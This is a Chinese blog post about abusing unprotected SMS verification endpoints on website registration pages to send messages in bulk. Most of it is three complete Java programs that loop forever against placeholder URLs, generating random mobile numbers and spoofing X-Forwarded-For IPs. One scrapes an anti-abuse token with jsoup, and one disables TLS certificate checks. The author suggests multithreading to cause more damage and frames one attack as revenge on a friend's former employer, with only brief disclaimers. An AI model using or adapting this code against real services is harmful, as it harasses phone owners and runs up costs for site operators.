Hi,各位好,好久不玩博客了,最近在新公司無聊的時候,在查看一個其他網站的註冊源代碼時
發現了一處bug
首先前臺頁面是這樣的結構(不顯示相關網站的敏感信息)
這是一個很普通的註冊頁面,ok,我們看看相關js源代碼,找到免費獲取驗證碼的功能
這段代碼就是普通的校驗手機號,然後發送給短信接口api,60秒的校驗重複發送,不知道大家發現問題了嗎?
我可以根據url惡意仿造這接口需要的參數進行發送手機號碼爆破,【(⊙ˍ⊙)# 我都經歷了什麼。。呃。。】
目標服務器是http請求,那麼我們先僞造一個試試【如果js被混淆可以使用Firefox查看post的數據請求及響應(。・_・)/~~~】
下圖是直接在瀏覽器地址欄來進行http訪問的
返回的是json數據 中文是Unicode碼【Unicode碼可以在網站上轉換】,該Unicode碼是“成功”的意思,同時手機上接收到了短信。
嗯,短信發送過來了,我們是不是該乾點什麼py交易了呢【(๑•ᴗ•๑),罪惡】
我們可以使用ajax 跨域來訪問也可以使用java apache httpclient來進行模擬瀏覽器訪問
一言不合貼maven【apache httpclient(這裏使用的是4.5+版本)和 jsoup(解析html很好用)】
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.5.2</version>
</dependency>
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.9.1</version>
</dependency>
上代碼:http方式模擬訪問url
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ThreadLocalRandom;
import org.apache.http.HttpEntity;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;
public class Test {
/**
* url
*/
private static String URL = "http://www.aaabbb.ccc/admin/sendmsg";
/**
* 定義手機號碼段
*/
private static String[] telFirst = "134,135,136,137,138,139,150,151,152,157,158,159,130,131,132,155,156,133,153,173,180"
.split(",");
/**
* 獲取隨機範圍內的數字
*/
public static int getNum(int start, int end) {
ThreadLocalRandom random = ThreadLocalRandom.current();
return random.nextInt( (end - start + 1) + start);
}
/**
* 獲取僞造的手機號
*/
private static String getTel() {
int index = getNum(0, telFirst.length - 1);
String first = telFirst[index];
String second = String.valueOf(getNum(1, 888) + 10000).substring(1);
String thrid = String.valueOf(getNum(1, 9100) + 10000).substring(1);
return first + second + thrid;
}
/**
* 獲取僞造的ip
*/
public static String getIPProxy(){
StringBuffer sb = new StringBuffer();
sb.append(getNum(2,254));
sb.append(".");
sb.append(getNum(2,254));
sb.append(".");
sb.append(getNum(2,254));
sb.append(".");
sb.append(getNum(2,254));
return sb.toString();
}
/**
* 程序入口
*/
public static void main(String[] args) throws Exception {
while(true){
//單線程的死循環
post(URL,getTel(),getIPProxy());
}
}
/**
* 發送 post請求訪問本地應用並根據傳遞參數不同返回不同結果
*/
public static void post(String url, String number,String ip_proxy) {
// 創建默認的httpClient實例.
CloseableHttpClient httpclient = HttpClients.createDefault();
// 創建httppost
HttpPost httppost = new HttpPost(url);
httppost.setHeader("Connection","keep-alive");
httppost.setHeader("Referer","從哪個網站連入過來的");
httppost.setHeader("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0");
httppost.setHeader("x-forwarded-for",ip_proxy);//僞造的ip地址
// 創建參數隊列
List<NameValuePair> formparams = new ArrayList<NameValuePair>();
formparams.add(new BasicNameValuePair("phone", number));
UrlEncodedFormEntity uefEntity;
try {
uefEntity = new UrlEncodedFormEntity(formparams, "UTF-8");
httppost.setEntity(uefEntity);
System.out.println("executing request " + httppost.getURI());
CloseableHttpResponse response = httpclient.execute(httppost);
try {
HttpEntity entity = response.getEntity();
if (entity != null) {
System.out.println("--------------------------------------");
System.out.println("Response content: " + EntityUtils.toString(entity, "UTF-8"));
System.out.println("--------------------------------------");
}
} finally {
response.close();
}
} catch (ClientProtocolException e) {
e.printStackTrace();
} catch (UnsupportedEncodingException e1) {
e1.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} finally {
// 關閉連接,釋放資源
try {
httpclient.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
執行獲得結果:
--------------------------------------
Response content: {"code":"2000","message":"\u6210\u529f"}
--------------------------------------
循環略..
例子爲單線程死循環,如過想搞壞對方的話可以使用多線程,在此不列舉多線程的相關知識了,您可以查找相關資料來了解。
PS:不過希望各位觀衆老爺知道這樣做是不對的,以前有過短信接口瞭解,根據花錢的多少來決定每條短信多少錢,最便宜應該是比分還少的單位,別禍害了網站。
我們從這個例子上發現問題,一個短信接口要做足權限及驗證碼的驗證的【要不錢都被壞人盜刷了_(:зゝ∠)_】
發現了對方的問題,儘量通知到對方的網站管理員或者客服反饋bug。
下面我們在看一個例子:【…(⊙_⊙;)…嘎。還要看嗎?】
事件前提:我一個朋友,在一家互聯網公司做程序員,辛苦了一年【4個人完成了整個項目,項目賣了2000w+】,到了過年的前幾天,無原因突然被辭退,
辛苦了一年,到頭來什麼也沒得到,誒,有這樣的領導真是人生寂寞如雪啊。。扯遠了,反正就是被強制辭退打包回家活都不用交接直接算賬走人。
然後看了看他們的網站註冊。。。【咦?爲什麼還要看網站註冊。。= ̄ω ̄=】
註冊頁面如圖:
ok,在看下源代碼:
咦,感覺好高端,加上了token。。。
然後在仔細查看這個token的賦值
服務端直接寫入js變量裏了。。。。
怎麼辦?感覺好難處理。別急,有jsoup!
jsoup的相關介紹和資料就不在這裏寫了,請大家自己動手去了解下,我的大概理解就是解析html document對象的,讓你方便的獲取你想要的信息等(不支持動態的js執行)
我們只要先鏈接一下該頁面並獲取到token並把該值傳遞到發送短信接口的參數裏即可實現爆破。
上代碼:
import java.io.IOException;
import java.util.concurrent.ThreadLocalRandom;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;
/**
* 爆破對方短信發送接口
*/
public class Test2 {
/**
* 獲取token地址 查了對方的網頁源代碼發現js處有token進行服務器編譯
*/
static String GET_TOKEN_URL = "http://www.aaabbb.ccc/register.htm";
/**
* 爆破地址 --短信接口模擬發送
*/
static String BOOM_URL = "http://www.aaabbb.ccc/sms_send.htm";
/**
* 手機號段 173 180號段沒見過 隨便加的
*/
static String[] telFirst = "134,135,136,137,138,139,150,151,152,157,158,159,130,131,132,155,156,133,153,173,180"
.split(",");
/**
* 獲取最大值範圍內的隨機數
*/
public static int getNum(int start, int end) {
ThreadLocalRandom tlr = ThreadLocalRandom.current();
int m = tlr.nextInt(end - start + 1) + start;
return m;
}
/**
* 僞造電話號
*/
public static String getTel() {
int index = getNum(0, telFirst.length - 1);
String first = telFirst[index];
String second = String.valueOf(getNum(1, 888) + 10000).substring(1);
String thrid = String.valueOf(getNum(1, 9100) + 10000).substring(1);
return first + second + thrid;
}
/**
* 僞造ip
*/
public static String getIPProxy(){
StringBuffer sb = new StringBuffer();
sb.append(getNum(2,254));
sb.append(".");
sb.append(getNum(2,254));
sb.append(".");
sb.append(getNum(2,254));
sb.append(".");
sb.append(getNum(2,254));
return sb.toString();
}
/**
* 程序入口
*/
public static void main(String[] args) throws Exception{
//實際不在使用單一單線程,使用多線程搞破壞了
while(true){
kissMyAss(getTel(),getIPProxy());
}
}
/**
* 獲取token
*/
private static String getToken(String html){
//解析返回的html
Document doc = Jsoup.parse(html);
//獲取到帶有script的元素組
Elements eles = doc.select("script");
if (eles != null && eles.size() > 0) {
//根據頁面分析得出token所在位置爲第7個並且獲取到token
String token = eles.get(6).data().split(";")[1];
token = token.replaceAll("var sms_token=", "").replaceAll("\"", "").replaceAll("\n", "").replaceAll(" ","").replaceAll("\t","").replaceAll("\r","");
return token;
}
return null;
}
/**
* 你懂得
*/
public static void kissMyAss(String number,String ip_proxy) throws Exception {
// // 創建HttpClientBuilder
CloseableHttpClient client = HttpClients.createDefault();
HttpPost httpPost = new HttpPost(GET_TOKEN_URL);
try {
// 執行post請求
HttpResponse httpResponse = client.execute(httpPost);
String html = EntityUtils.toString(httpResponse.getEntity());
String token = getToken(html);
// System.out.println(token);
// 執行get請求
//拼湊需要的參數
HttpGet httpGet = new HttpGet(BOOM_URL + "?mobile=" + number + "&mobile_type=new&sms_token="+token);
httpGet.setHeader("Connection","keep-alive");
httpGet.setHeader("Referer","從哪個網站過來的");
httpGet.setHeader("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0");
httpGet.setHeader("x-forwarded-for",ip_proxy);
httpResponse = client.execute(httpGet);
String bodyHtml = EntityUtils.toString(httpResponse.getEntity());
System.out.println(bodyHtml);
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
// 關閉流並釋放資源
client.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
返回結果:略。
恭喜你,你現在就可以做一個網站爬取的功能了。
從這個問題我們也可以看出,光用token(此例子token純屬擺設)也是不行的,得有一套自己的加密規則和授權纔可以
ok,那麼看看現在的一些網站的註冊頁面裏的短信發送接口吧。
我們來看一個網站,這個網站的所屬公司是上市公司且在美國納斯達克敲鐘的。具體就不多說了
還是看頁面
F12大法好
因爲url被我除去了,他其實是https的訪問
https相關的知識也請各位自行搜索
httpclient如何用https來訪問呢?
上代碼:【其中借鑑了網上一些博客的代碼段】
import java.security.cert.X509Certificate;
import java.util.concurrent.ThreadLocalRandom;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import org.apache.http.HttpResponse;
import org.apache.http.HttpVersion;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.conn.ClientConnectionManager;
import org.apache.http.conn.params.ConnManagerPNames;
import org.apache.http.conn.params.ConnPerRouteBean;
import org.apache.http.conn.scheme.PlainSocketFactory;
import org.apache.http.conn.scheme.Scheme;
import org.apache.http.conn.scheme.SchemeRegistry;
import org.apache.http.conn.ssl.SSLSocketFactory;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.impl.conn.SingleClientConnManager;
import org.apache.http.params.BasicHttpParams;
import org.apache.http.params.HttpParams;
import org.apache.http.params.HttpProtocolParams;
import org.apache.http.util.EntityUtils;
public class HttpsTest {
/**
* 手機號段 173 180號段沒見過 隨便加的
*/
static String[] telFirst = "134,135,136,137,138,139,150,151,152,157,158,159,130,131,132,155,156,133,153,173,180"
.split(",");
/**
* 獲取最大值範圍內的隨機數
*/
public static int getNum(int start, int end) {
ThreadLocalRandom tlr = ThreadLocalRandom.current();
int m = tlr.nextInt(end - start + 1) + start;
return m;
}
/**
* 僞造電話號
*/
public static String getTel() {
int index = getNum(0, telFirst.length - 1);
String first = telFirst[index];
String second = String.valueOf(getNum(1, 888) + 10000).substring(1);
String thrid = String.valueOf(getNum(1, 9100) + 10000).substring(1);
return first + second + thrid;
}
/**
* 僞造ip
*/
public static String getIPProxy(){
StringBuffer sb = new StringBuffer();
sb.append(getNum(2,254));
sb.append(".");
sb.append(getNum(2,254));
sb.append(".");
sb.append(getNum(2,254));
sb.append(".");
sb.append(getNum(2,254));
return sb.toString();
}
public static void main(String[] args) throws Exception {
// // 獲得密匙庫
// KeyStore trustStore = KeyStore.getInstance(KeyStore.getDefaultType());
// FileInputStream instream = new FileInputStream(new File(" D:/zzaa "));
// // 密匙庫的密碼
// trustStore.load(instream, " 123456 ".toCharArray());
// // 註冊密匙庫
X509TrustManager tm = new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] xcs, String string) {
}
public void checkServerTrusted(X509Certificate[] xcs, String string) {
}
public X509Certificate[] getAcceptedIssuers() {
return null;
}
};
SSLContext sslcontext = SSLContext.getInstance("TLS");
sslcontext.init(null, new TrustManager[] { tm }, null);
SSLSocketFactory socketFactory = new SSLSocketFactory(sslcontext, SSLSocketFactory.STRICT_HOSTNAME_VERIFIER);
// 不校驗域名
// socketFactory.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
Scheme sch = new Scheme("https", 443, socketFactory);
SchemeRegistry schemeRegistry = new SchemeRegistry();
schemeRegistry.register(new Scheme("http", PlainSocketFactory.getSocketFactory(), 80));
schemeRegistry.register(sch);
HttpParams params = new BasicHttpParams();
params.setParameter(ConnManagerPNames.MAX_TOTAL_CONNECTIONS, 30);
params.setParameter(ConnManagerPNames.MAX_CONNECTIONS_PER_ROUTE, new ConnPerRouteBean(30));
params.setParameter(HttpProtocolParams.USE_EXPECT_CONTINUE, false);
HttpProtocolParams.setVersion(params, HttpVersion.HTTP_1_1);
ClientConnectionManager cm = new SingleClientConnManager(params, schemeRegistry);
HttpClient httpClient = new DefaultHttpClient(cm, params);
// 獲得HttpGet對象
String number = getTel();
System.out.println(number);
HttpPost post = new HttpPost("https://aaa.bbb.ccc/ddd?MobilePhone="+number+"&Service=xxxx&MathCode=&Operatetype=2");
post.setHeader("Connection","keep-alive");
post.setHeader("Host","aaa.bbb.ccc");
post.setHeader("X-Requested-With","XMLHttpRequest");
post.setHeader("DNT","1");//不被跟蹤
post.setHeader("Referer","從哪個網站訪問過來的");
post.setHeader("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0");
post.setHeader("x-forwarded-for",getIPProxy());
// 發送請求
HttpResponse response = httpClient.execute(post);
// 輸出返回值
System.out.println(EntityUtils.toString(response.getEntity()));
}
}
執行返回結果:略。
其實他有個參數是驗證碼的參數,只是沒有強制帶入
同時也看了看各大網站的註冊發送短信接口的發送參數,
淘寶的註冊可是帶都是特定加密信息規則的【(¬_¬)。。你還想幹嘛?】
去哪網是帶驗證碼【如果想破解可以瞭解下ocr圖像文字識別技術,安利個開源的一個ocr接口 https://github.com/AvensLab/OcrKing 】
ok,先說這麼多吧,再說多就會被請去喝茶聊天了。_(:зゝ∠)_
希望各位也不要亂搞啊。發現bug要發給網站維護人員啊!!!!
還有就是僞造ip那個只是一部分YY而已。他們也是有各種手段來獲取到你的真實ip的。
把自己的接口寫的茁壯纔是正經事誒誒誒!
謝謝各位觀衆老爺,下次寫博客就不知道是什麼時候了。o(≧口≦)o
------
55555~~~圖片截圖得不行,畢竟csdn沒網易郵箱那麼智能~截個圖就能顯示不用存網絡了。又重新弄了一次圖片下載本地上傳。
PS:本想看看csdn短信接口來着,不過他的短信接口已經500了_(:зゝ∠)_